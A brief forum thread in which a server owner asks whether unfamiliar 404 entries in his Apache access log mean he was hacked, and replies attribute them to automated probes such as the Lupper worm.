Apache entries - Hacked??
 

I found the following entries in my access_log that I have never received before. It looks like they were all 404, but I would feel much better if someone verified it. TIA Jeff

Hi,

Not a security expert but I have seen those in my logs as well and they are looking for those files on windoze machines. I believe IMHO that you can safely ignore those...however I am no expert and I am sure someone else will give their input as well.

I think they are looking for *nix boxen, since these look a lot like hits from the Lupper worm, which attacks several vulnerable Web applications. I've seen this on a number of servers, and so long as you don't have the vulnerable applications installed, you are OK.
